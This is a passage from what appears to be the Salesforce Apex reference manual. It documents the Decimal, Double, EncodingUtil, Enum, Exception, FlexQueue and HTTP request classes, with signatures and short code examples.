setScale(scale, roundingMode)
Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.

stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.

toPlainString()
Returns the String value of this Decimal, without using scientific notation.

valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.
valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.

valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

abs()
Returns the absolute value of the Decimal.

Signature
public Decimal abs()

Return Value
Type: Decimal

Example
Decimal myDecimal = -6.02214129;
System.assertEquals(6.02214129, myDecimal.abs());

divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified scale.

Signature
public Decimal divide(Decimal divisor, Integer scale)

Parameters
divisor
Type: Decimal
scale
Type: Integer

Return Value
Type: Decimal

Example
Decimal decimalNumber = 19;
Decimal result = decimalNumber.divide(100, 3);
System.assertEquals(0.190, result);
**divide(divisor, scale, roundingMode)**
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale, and if necessary, rounds the value using the rounding mode.

**Signature**

```
public Decimal divide(Decimal divisor, Integer scale, Object roundingMode)
```

**Parameters**

- **divisor**
  Type: Decimal
- **scale**
  Type: Integer
- **roundingMode**
  Type: System.RoundingMode

**Return Value**

Type: Decimal

**Example**

```java
Decimal myDecimal = 12.4567;
Decimal divDec = myDecimal.divide(7, 2, System.RoundingMode.UP);
System.assertEquals(divDec, 1.78);
```

**doubleValue()**

Returns the Double value of this Decimal.

**Signature**

```
public Double doubleValue()
```

**Return Value**

Type: Double

**Example**

```java
Decimal myDecimal = 6.62606957;
Double value = myDecimal.doubleValue();
System.assertEquals(6.62606957, value);
```

**format()**

Returns the String value of this Decimal using the locale of the context user.
Signature

public String format()

Return Value

Type: String

Usage

Scientific notation will be used if an exponent is needed.

Example

// U.S. locale
Decimal myDecimal = 12345.6789;
system.assertEquals('12,345.679', myDecimal.format());

intValue()

Returns the Integer value of this Decimal.

Signature

public Integer intValue()

Return Value

Type: Integer

Example

Decimal myDecimal = 1.602176565;
system.assertEquals(1, myDecimal.intValue());

longValue()

Returns the Long value of this Decimal.

Signature

public Long longValue()

Return Value

Type: Long

Example

Decimal myDecimal = 376.730313461;
system.assertEquals(376, myDecimal.longValue());
**pow (exponent)**

Returns the value of this decimal raised to the power of the specified exponent.

**Signature**

```java
public Decimal pow(Integer exponent)
```

**Parameters**

*exponent*

Type: `Integer`

The value of `exponent` must be between 0 and 32,767.

**Return Value**

Type: `Decimal`

**Usage**

If you use `MyDecimal.pow(0)`, 1 is returned.

The `Math.pow` method does accept negative values.

**Example**

```java
Decimal myDecimal = 4.12;
Decimal powDec = myDecimal.pow(2);
System.assertEquals(powDec, 16.9744);
```

**precision()**

Returns the total number of digits for the Decimal.

**Signature**

```java
public Integer precision()
```

**Return Value**

Type: `Integer`

**Example**

For example, if the Decimal value was 123.45, `precision` returns 5. If the Decimal value is 123.123, `precision` returns 6.

```java
Decimal D1 = 123.45;
Integer precision1 = D1.precision();
system.assertEquals(precision1, 5);
Decimal D2 = 123.123;
Integer precision2 = D2.precision();
system.assertEquals(precision2, 6);
```
**round()**

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

**Signature**

```java
public Long round()
```

**Return Value**

Type: Long

**Usage**

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

**Example**

```java
Decimal D = 4.5;
Long L = D.round();
System.assertEquals(4, L);

Decimal D1 = 5.5;
Long L1 = D1.round();
System.assertEquals(6, L1);

Decimal D2 = 5.2;
Long L2 = D2.round();
System.assertEquals(5, L2);

Decimal D3 = -5.7;
Long L3 = D3.round();
System.assertEquals(-6, L3);
```

**round(roundingMode)**

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified by the rounding mode.

**Signature**

```java
public Long round(System.RoundingMode roundingMode)
```

**Parameters**

- `roundingMode`  
  Type: System.RoundingMode
Return Value
Type: Long

scale()
Returns the scale of the Decimal, that is, the number of decimal places.

Signature
public Integer scale()

Return Value
Type: Integer

Example
```java
Decimal myDecimal = 9.27400968;
System.assertEquals(8, myDecimal.scale());
```

setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.

Signature
public Decimal.setScale(Integer scale)

Parameters
scale
Type: Integer
The value of scale must be between –33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to the power of the negation of scale. For example, after this operation, the value of d is \(4 \times 10^{-3}\).

```java
Decimal d = 4000;
d = d.setScale(-3);
```

Return Value
Type: Decimal

Usage
If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.

- If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
- If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number of characters after the decimal point.

Example

```java
Decimal myDecimal = 8.987551787;
Decimal setScaled = myDecimal.setScale(3);
System.assertEquals(8.988, setScaled);
```

setScale(scale, roundingMode)

Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.

Signature

```java
public Decimal setScale(Integer scale, System.RoundingMode roundingMode)
```

Parameters

scale

Type: Integer

The value of `scale` must be between -33 and 33. If the value of `scale` is negative, your unscaled value is multiplied by 10 to the power of the negation of `scale`. For example, after this operation, the value of `d` is $4 \times 10^{-3}$.

```java
Decimal d = 4000;
d = d.setScale(-3);
```

roundingMode

Type: System.RoundingMode

Return Value

Type: Decimal

Usage

If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.

• If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.

• If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.

• If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number of characters after the decimal point.

stripTrailingZeros()

Returns the Decimal with any trailing zeros removed.

Signature

```java
public Decimal stripTrailingZeros()
```
Return Value
Type: Decimal

Example
```java
Decimal myDecimal = 1.10000;
Decimal stripped = myDecimal.stripTrailingZeros();
System.assertEquals(stripped, 1.1);
```

toPlainString()

Returns the String value of this Decimal, without using scientific notation.

Signature
```java
public String toPlainString()
```

Return Value
Type: String

Example
```java
Decimal myDecimal = 12345.6789;
System.assertEquals('12345.6789', myDecimal.toPlainString());
```

valueOf(doubleToDecimal)

Returns a Decimal that contains the value of the specified Double.

Signature
```java
public static Decimal valueOf(Double doubleToDecimal)
```

Parameters

doubleToDecimal
Type: Double

Return Value
Type: Decimal

Example
```java
Double myDouble = 2.718281828459045;
Decimal myDecimal = Decimal.valueOf(myDouble);
System.assertEquals(2.718281828459045, myDecimal);
```
valueOf (longToDecimal)
Returns a Decimal that contains the value of the specified Long.

Signature
public static Decimal valueOf(Long longToDecimal)

Parameters
longToDecimal
Type: Long

Return Value
Type: Decimal

Example
Long myLong = 299792458;
Decimal myDecimal = Decimal.valueOf(myLong);
System.assertEquals(299792458, myDecimal);

class (stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

Signature
public static Decimal valueOf(String stringToDecimal)

Parameters
stringToDecimal
Type: String

Return Value
Type: Decimal

Example
String temp = '12.4567';
Decimal myDecimal = Decimal.valueOf(temp);

Double Class
Contains methods for the Double primitive data type.
Namespace

System

Usage

For more information on Double, see Primitive Data Types on page 27.

Double Methods

The following are methods for Double.

IN THIS SECTION:

format()
Returns the String value for this Double using the locale of the context user

intValue()
Returns the Integer value of this Double by casting it to an Integer.

longValue()
Returns the Long value of this Double.

round()
Returns the closest Long to this Double value.

valueOf(StringToDouble)
Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.

valueOf(fieldValue)
Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents a Double value.

format()
Returns the String value for this Double using the locale of the context user

Signature

public String format()

Return Value

Type: String

Example

```java
Double myDouble = 1261992;
system.assertEquals('1,261,992', myDouble.format());
```
**intValue()**

Returns the Integer value of this Double by casting it to an Integer.

**Signature**

```java
public Integer intValue()
```

**Return Value**

Type: Integer

**Example**

```java
Double DD1 = double.valueOf('3.14159');
Integer value = DD1.intValue();
system.assertEquals(value, 3);
```

**longValue()**

Returns the Long value of this Double.

**Signature**

```java
public Long longValue()
```

**Return Value**

Type: Long

**Example**

```java
Double myDouble = 421994;
Long value = myDouble.longValue();
System.assertEquals(421994, value);
```

**round()**

Returns the closest Long to this Double value.

**Signature**

```java
public Long round()
```

**Return Value**

Type: Long
Example

```java
Double D1 = 4.5;
Long L1 = D1.round();
System.assertEquals(5, L1);

Double D2 = 4.2;
Long L2 = D2.round();
System.assertEquals(4, L2);

Double D3 = -4.7;
Long L3 = D3.round();
System.assertEquals(-5, L3);
```

**valueOf(stringToDouble)**

Returns a `Double` that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.

**Signature**

```java
public static Double valueOf(String stringToDouble)
```

**Parameters**

`stringToDouble`

Type: `String`

**Return Value**

Type: `Double`

**Example**

```java
Double DD1 = Double.valueOf('3.14159');
```

**valueOf(fieldValue)**

Converts the specified object to a `Double` value. Use this method to convert a history tracking field value or an object that represents a `Double` value.

**Signature**

```java
public static Double valueOf(Object fieldValue)
```

**Parameters**

`fieldValue`

Type: `Object`
Return Value
Type: Double

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type corresponds to a Double type, like a number field.

Example
```java
List<AccountHistory> ahlist =
    [SELECT Field,OldValue,NewValue
        FROM AccountHistory];
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'NumberOfEmployees') {
        Double oldValue =
            Double.valueOf(ah.OldValue);
        Double newValue =
            Double.valueOf(ah.NewValue);
    }
}
```

EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.

Namespace
System

Usage

Note: You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce. You can, however, download a document from Salesforce. To do so, query the ID of the document using the API query call, then request it by ID.

EncodingUtil Methods
The following are methods for EncodingUtil. All methods are static.

IN THIS SECTION:
- `base64Decode(inputString)`
  Converts a Base64-encoded String to a Blob representing its normal form.
- `base64Encode(inputBlob)`
  Converts a Blob to an unencoded String representing its normal form.
- `convertToHex(inputString)`
  Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.
**convertToHex(inputString)**

Returns a hexadecimal (base 16) representation of the `inputString`. This method can be used to compute the client response (for example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).

**urlDecode(inputString, encodingScheme)**

Decodes a string in `application/x-www-form-urlencoded` format using a specific encoding scheme, for example “UTF-8.”

**urlEncode(inputString, encodingScheme)**

Encodes a string into the `application/x-www-form-urlencoded` format using a specific encoding scheme, for example “UTF-8.”

---

**base64Decode(inputString)**

Converts a Base64-encoded String to a Blob representing its normal form.

**Signature**

```java
public static Blob base64Decode(String inputString)
```

**Parameters**

*inputString*

Type: String

**Return Value**

Type: Blob

---

**base64Encode(inputBlob)**

Converts a Blob to an unencoded String representing its normal form.

**Signature**

```java
public static String base64Encode(Blob inputBlob)
```

**Parameters**

*inputBlob*

Type: Blob

**Return Value**

Type: String

---

**convertToHex(inputString)**

Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.
Signature

```java
public static Blob convertToHex(String inputString)
```

Parameters

- **inputString**
  - Type: String
  - The hexadecimal string to convert. The string can contain only valid hexadecimal characters (0-9, a-f, A-F) and must have an even number of characters.

Return Value

- Type: Blob

Usage

Each byte in the Blob is constructed from two hexadecimal characters in the input string.

The `convertFromHex` method throws the following exceptions.

- NullPointerException — the `inputString` is null.
- InvalidParameterValueException — the `inputString` contains invalid hexadecimal characters or doesn’t contain an even number of characters.

Example

```java
Blob blobValue = EncodingUtil.convertFromHex('4A4B4C');
System.assertEquals('JKL', blobValue.toString());
```

`convertToHex(inputString)`

Returns a hexadecimal (base 16) representation of the `inputString`. This method can be used to compute the client response (for example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).

Signature

```java
public static String convertToHex(Blob inputString)
```

Parameters

- **inputString**
  - Type: Blob

Return Value

- Type: String

`urlDecode(inputString, encodingScheme)`

Decodes a string in `application/x-www-form-urlencoded` format using a specific encoding scheme, for example “UTF-8.”
Signature

public static String urlDecode(String inputString, String encodingScheme)

Parameters

inputString
  Type: String

encodingScheme
  Type: String

Return Value

Type: String

Usage

This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the form `%xy`. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.

urlEncode(inputString, encodingScheme)

Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example “UTF-8.”

Signature

public static String urlEncode(String inputString, String encodingScheme)

Parameters

inputString
  Type: String

encodingScheme
  Type: String

Return Value

Type: String

Usage

This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.

Example

```java
String encoded = EncodingUtil.urlEncode(url, 'UTF-8');
```
**Enum Methods**

An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides built-in enums, such as `LoggingLevel`, and you can define your own enum.

All Apex enums, whether user-defined enums or built-in enums, have the following common method that takes no arguments.

**values**

This method returns the values of the Enum as a list of the same Enum type.

Each Enum value has the following methods that take no arguments.

**name**

Returns the name of the Enum item as a String.

**ordinal**

Returns the position of the item, as an Integer, in the list of Enum values starting with zero.

Enum values cannot have user-defined methods added to them.

For more information about Enum, see Enums on page 35.

**Example**

```java
Integer i = StatusCode.DELETE_FAILED.ordinal();
String s = StatusCode.DELETE_FAILED.name();
List<StatusCode> values = StatusCode.values();
```

**Exception Class and Built-In Exceptions**

An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom exceptions. All exceptions have common methods.

All exceptions support built-in methods for returning the error message and exception type. In addition to the standard `exception` class, there are several different types of exceptions:

The following are exceptions in the `System` namespace.

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AsyncException</td>
<td>Any problem with an asynchronous operation, such as failing to enqueue an asynchronous call.</td>
</tr>
<tr>
<td>CalloutException</td>
<td>Any problem with a Web service operation, such as failing to make a callout to an external system.</td>
</tr>
<tr>
<td>DmlException</td>
<td>Any problem with a DML statement, such as an <code>insert</code> statement missing a required field on a record.</td>
</tr>
<tr>
<td>EmailException</td>
<td>Any problem with email, such as failure to deliver. For more information, see Outbound Email.</td>
</tr>
<tr>
<td>ExternalObjectException</td>
<td>Any problem with external object records, such as connection timeouts during attempts to access the data that’s stored on external systems.</td>
</tr>
<tr>
<td>Exception</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>InvalidParameterValueException</td>
<td>An invalid parameter was supplied for a method or any problem with a URL used with Visualforce pages. For more information, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>LimitException</td>
<td>A governor limit has been exceeded. This exception can't be caught.</td>
</tr>
<tr>
<td>JSONException</td>
<td>Any problem with JSON serialization and deserialization operations. For more information, see the methods of System.JSON, System.JSONParser, and System.JSONGenerator.</td>
</tr>
<tr>
<td>ListException</td>
<td>Any problem with a list, such as attempting to access an index that is out of bounds.</td>
</tr>
<tr>
<td>MathException</td>
<td>Any problem with a mathematical operation, such as dividing by zero.</td>
</tr>
<tr>
<td>NoAccessException</td>
<td>Any problem with unauthorized access, such as trying to access an sObject that the current user does not have access to. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>NoDataFoundException</td>
<td>Any problem with data that does not exist, such as trying to access an sObject that has been deleted. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>NoSuchElementException</td>
<td>This exception is thrown if you try to access items that are outside the bounds of a list. This exception is used by the Iterator next method. For example, if iterator.hasNext() == false and you call iterator.next(), this exception is thrown. This exception is also used by the Apex Flex Queue methods and is thrown if you attempt to access a job at an invalid position in the flex queue.</td>
</tr>
<tr>
<td>NullPointerException</td>
<td>Any problem with dereferencing null, such as in the following code: s.toLowerCase(); // Since s is null, this call causes // a NullPointerException</td>
</tr>
<tr>
<td>QueryException</td>
<td>Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject variable.</td>
</tr>
<tr>
<td>RequiredFeatureMissing</td>
<td>A Chatter feature is required for code that has been deployed to an organization that does not have Chatter enabled.</td>
</tr>
<tr>
<td>SearchException</td>
<td>Any problem with SOSL queries executed with SOAP API search() call, for example, when the searchString parameter contains less than two characters. For more information, see the SOAP API Developer's Guide.</td>
</tr>
<tr>
<td>SecurityException</td>
<td>Any problem with static methods in the Crypto utility class. For more information, see Crypto Class.</td>
</tr>
<tr>
<td>SerializationException</td>
<td>Any problem with the serialization of data. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>SObjectException</td>
<td>Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during insert.</td>
</tr>
<tr>
<td>StringException</td>
<td>Any problem with Strings, such as a String that is exceeding your heap size.</td>
</tr>
</tbody>
</table>
Any problem with type conversions, such as attempting to convert the String 'a' to an Integer using the `valueOf` method.

Any problem with a Visualforce page. For more information on Visualforce, see the Visualforce Developer's Guide.

Any problem with the XmlStream classes, such as failing to read or write XML.

The following is an example using the DmlException exception:

```java
Account[] accts = new Account[] {new Account(billingcity = 'San Jose')};
try {
    insert accts;
} catch (System.DmlException e) {
    for (Integer i = 0; i < e.getNumDml(); i++) {
        // Process exception here
        System.debug(e.getDmlMessage(i));
    }
}
```

For exceptions in other namespaces, see:

- Canvas Exceptions
- ConnectApi Exceptions
- DataSource Exceptions
- Reports Exceptions
- Site Exceptions

## Common Exception Methods

Exception methods are all called by and operate on a particular instance of an exception. The table below describes all instance exception methods. All types of exceptions have the following methods in common:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getCause</code></td>
<td>Exception</td>
<td></td>
<td>Returns the cause of the exception as an exception object.</td>
</tr>
<tr>
<td><code>getLineNumber</code></td>
<td>Integer</td>
<td></td>
<td>Returns the line number from where the exception was thrown.</td>
</tr>
<tr>
<td><code>getMessage</code></td>
<td>String</td>
<td></td>
<td>Returns the error message that displays for the user.</td>
</tr>
<tr>
<td><code>getStackTraceString</code></td>
<td>String</td>
<td></td>
<td>Returns the stack trace as a string.</td>
</tr>
<tr>
<td><code>getTypeName</code></td>
<td>String</td>
<td></td>
<td>Returns the type of exception, such as DmlException, ListException, MathException, and so on.</td>
</tr>
<tr>
<td><code>initCause</code></td>
<td>Exception</td>
<td>Void</td>
<td>Sets the cause for this exception, if one has not already been set.</td>
</tr>
<tr>
<td><code>setMessage</code></td>
<td>String</td>
<td>Void</td>
<td>Sets the error message that displays for the user.</td>
</tr>
</tbody>
</table>
### DMLException and EmailException Methods

In addition to the common exception methods, DMLExceptions and EmailExceptions have the following additional methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDmlFieldNames</td>
<td>Integer i</td>
<td>String []</td>
<td>Returns the names of the field or fields that caused the error described by the ( i )th failed row.</td>
</tr>
<tr>
<td>getDmlFields</td>
<td>Integer i</td>
<td>Schema.sObjectField[]</td>
<td>Returns the field token or tokens for the field or fields that caused the error described by the ( i )th failed row. For more information on field tokens, see Dynamic Apex.</td>
</tr>
<tr>
<td>getDmlId</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the ID of the failed record that caused the error described by the ( i )th failed row.</td>
</tr>
<tr>
<td>getDmlIndex</td>
<td>Integer i</td>
<td>Integer</td>
<td>Returns the original row position of the ( i )th failed row.</td>
</tr>
<tr>
<td>getDmlMessage</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the user message for the ( i )th failed row.</td>
</tr>
<tr>
<td>getDmlStatusCode</td>
<td>Integer i</td>
<td>String</td>
<td>Deprecated. Use getDmlType instead. Returns the Apex failure code for the ( i )th failed row.</td>
</tr>
<tr>
<td>getDmlType</td>
<td>Integer i</td>
<td>System.StatusCode</td>
<td>Returns the value of the System.StatusCode enum. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>try {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>insert new Account();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>catch (System.DmlException ex) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>StatusCode.REQUIRED_FIELD_MISSING,</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ex.getDmlType(0));</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>}</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information about System.StatusCode, see Enums.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>}</td>
</tr>
<tr>
<td>getNumDml</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the number of failed rows for DML exceptions.</td>
</tr>
</tbody>
</table>

### FlexQueue Class

Contains methods that reorder batch jobs in the Apex flex queue.

#### Namespace

**System**

#### Usage

You can place up to 100 batch jobs in a holding status for future execution. When system resources become available, the jobs are taken from the top of the Apex flex queue and moved to the batch job queue. Up to five queued or active jobs can be processed simultaneously for each org. When a job is moved out of the flex queue for processing, its status changes from Holding to Queued. Queued jobs are executed when the system is ready to process new jobs.
Use this class’s methods to reorder your holding jobs in the flex queue.

**Example**

This example moves a job in the flex queue so that it is executed immediately before the specified job in the queue. To move the job, call the `System.FlexQueue.moveBeforeJob()` method and pass it both jobs’ IDs.

```java
ID jobToMoveId = System.enqueueJob(new MyQueueableClass());
AsyncApexJob a = [SELECT Id FROM AsyncApexJob WHERE ApexClassId IN (SELECT Id from ApexClass WHERE NamespacePrefix = null AND Name = 'BatchJob')];
ID jobInQueueId = a.ID;
Boolean isSuccess = FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
```

IN THIS SECTION:
- **FlexQueue Methods**

SEE ALSO:
- Monitoring the Apex Flex Queue
- Using Batch Apex

**FlexQueue Methods**

The following are methods for `FlexQueue`.

IN THIS SECTION:
- `moveAfterJob(jobToMoveId, jobInQueueId)`
  Moves the job with the ID `jobToMoveId` immediately after the job with the ID `jobInQueueId` in the flex queue. You can move `jobToMoveId` forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if `jobToMoveId` is already immediately after `jobInQueueId`, so no change is made.

- `moveBeforeJob(jobToMoveId, jobInQueueId)`
  Moves the job with the ID `jobToMoveId` immediately before the job with the ID `jobInQueueId` in the flex queue. You can move `jobToMoveId` forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if `jobToMoveId` is already immediately before `jobInQueueId`, so no change is made.

- `moveJobToEnd(jobId)`
  Moves the specified job the end of the flex queue, to index position `(size - 1)`. All jobs after the job’s starting position move one spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if the job is already at the end of the queue, so no change is made.

- `moveJobToFront(jobId)`
  Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if the job is already at the front of the queue, so no change is made.
moveAfterJob(jobToMoveId, jobInQueueId)

Moves the job with the ID `jobToMoveId` immediately after the job with the ID `jobInQueueId` in the flex queue. You can move `jobToMoveId` forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if `jobToMoveId` is already immediately after `jobInQueueId`, so no change is made.

**Signature**

```java
public static Boolean moveAfterJob(Id jobToMoveId, Id jobInQueueId)
```

**Parameters**

- `jobToMoveId`
  Type: `Id`
  The ID of the job to move.
- `jobInQueueId`
  Type: `Id`
  The ID of the job to move after.

**Return Value**

Type: `Boolean`

moveBeforeJob(jobToMoveId, jobInQueueId)

Moves the job with the ID `jobToMoveId` immediately before the job with the ID `jobInQueueId` in the flex queue. You can move `jobToMoveId` forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns `true` if the job is moved, or `false` if `jobToMoveId` is already immediately before `jobInQueueId`, so no change is made.

**Signature**

```java
public static Boolean moveBeforeJob(Id jobToMoveId, Id jobInQueueId)
```

**Parameters**

- `jobToMoveId`
  Type: `Id`
  The ID of the job to move.
- `jobInQueueId`
  Type: `Id`
  The ID of the job to use as a reference point.

**Return Value**

Type: `Boolean`
moveJobToEnd (jobId)

Moves the specified job to the end of the flex queue, to index position (size - 1). All jobs after the job’s starting position move one spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the end of the queue, so no change is made.

Signature

public static Boolean moveJobToEnd (Id jobId)

Parameters

jobId
Type: Id
The ID of the job to move.

Return Value

Type: Boolean

moveJobToFront (jobId)

Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of the queue, so no change is made.

Signature

public static Boolean moveJobToFront (Id jobId)

Parameters

jobId
Type: Id
The ID of the job to move.

Return Value

Type: Boolean

Http Class

Use the Http class to initiate an HTTP request and response.

Namespace

System
Http Methods

The following are methods for Http. All are instance methods.

IN THIS SECTION:
  send(request)
  Sends an HttpRequest and returns the response.
  toString()
  Returns a string that displays and identifies the object’s properties.

**send(request)**

Sends an HttpRequest and returns the response.

**Signature**

```java
public HttpResponse send(HttpRequest request)
```

**Parameters**

- **request**
  Type: System.HttpRequest

**Return Value**

Type: System.HttpResponse

**toString()**

Returns a string that displays and identifies the object’s properties.

**Signature**

```java
public String toString()
```

**Return Value**

Type: String

HttpCalloutMock Interface

Enables sending fake responses when testing HTTP callouts.

**Namespace**

System
**Usage**

For an implementation example, see Testing HTTP Callouts by Implementing the `HttpCalloutMock` Interface.

**HttpCalloutMock Methods**

The following are methods for `HttpCalloutMock`.

**IN THIS SECTION:**

- `respond(request)`
  Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response when an HTTP callout is made after `Test.setMock` has been called.

**respond(request)**

Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response when an HTTP callout is made after `Test.setMock` has been called.

**Signature**

```java
public HttpResponse respond(HttpRequest request)
```

**Parameters**

- `request`
  Type: `System.HttpRequest`

**Return Value**

Type: `System.HttpResponse`

**HttpRequest Class**

Use the `HttpRequest` class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.

**Namespace**

`System`

**Usage**

Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by `HttpRequest`.

**Example**

The following example illustrates how you can use an authorization header with a request and handle the response.

```
public class AuthCallout {
```
public void basicAuthCallout(){
    HttpRequest req = new HttpRequest();
    req.setEndpoint('http://www.yahoo.com');
    req.setMethod('GET');

    // Specify the required user name and password to access the endpoint
    // As well as the header and header information
    String username = 'myname';
    String password = 'mypwd';

    Blob headerValue = Blob.valueOf(username + ':' + password);
    String authorizationHeader = 'BASIC ' +
        EncodingUtil.base64Encode(headerValue);
    req.setHeader('Authorization', authorizationHeader);

    // Create a new http object to send the request object
    // A response object is generated as a result of the request
    Http http = new Http();
    HTTPResponse res = http.send(req);
    System.debug(res.getBody());
}

Note: You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn't have to. See Named Credentials as Callout Endpoints on page 437.

Compression
To compress the data you send, use setCompressed.

HttpRequest req = new HttpRequest();
req.setEndPoint('my_endpoint');
req.setCompressed(true);
req.setBody('some post body');

If a response comes back in compressed format, getBody recognizes the format, uncompresses it, and returns the uncompressed value.

IN THIS SECTION:
HttpRequest Constructors
HttpRequest Methods

SEE ALSO:
JSON Support
XML Support
HttpRequest Constructors

The following are constructors for HttpRequest.

IN THIS SECTION:
   HttpRequest()
   Creates a new instance of the HttpRequest class.

HttpRequest()

Creates a new instance of the HttpRequest class.

Signature

public HttpRequest()

HttpRequest Methods

The following are methods for HttpRequest. All are instance methods.

IN THIS SECTION:
   getBody()
   Retrieves the body of this request.
   getBodyAsBlob()
   Retrieves the body of this request as a Blob.
   getBodyDocument()
   Retrieves the body of this request as a DOM document.
   getCompressed()
   If true, the request body is compressed, false otherwise.
   getEndpoint()
   Retrieves the URL for the endpoint of the external server for this request.
   getHeader(key)
   Retrieves the contents of the request header.
   getMethod()
   Returns the type of method used by HttpRequest.
   setBody(body)
   Sets the contents of the body for this request.
   setBodyAsBlob(body)
   Sets the contents of the body for this request using a Blob.
   setBodyDocument(document)
   Sets the contents of the body for this request. The contents represent a DOM document.
   setClientCertificate(clientCert, password)
   This method is deprecated. Use setClientCertificateName instead.
setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.

setCompressed(flag)
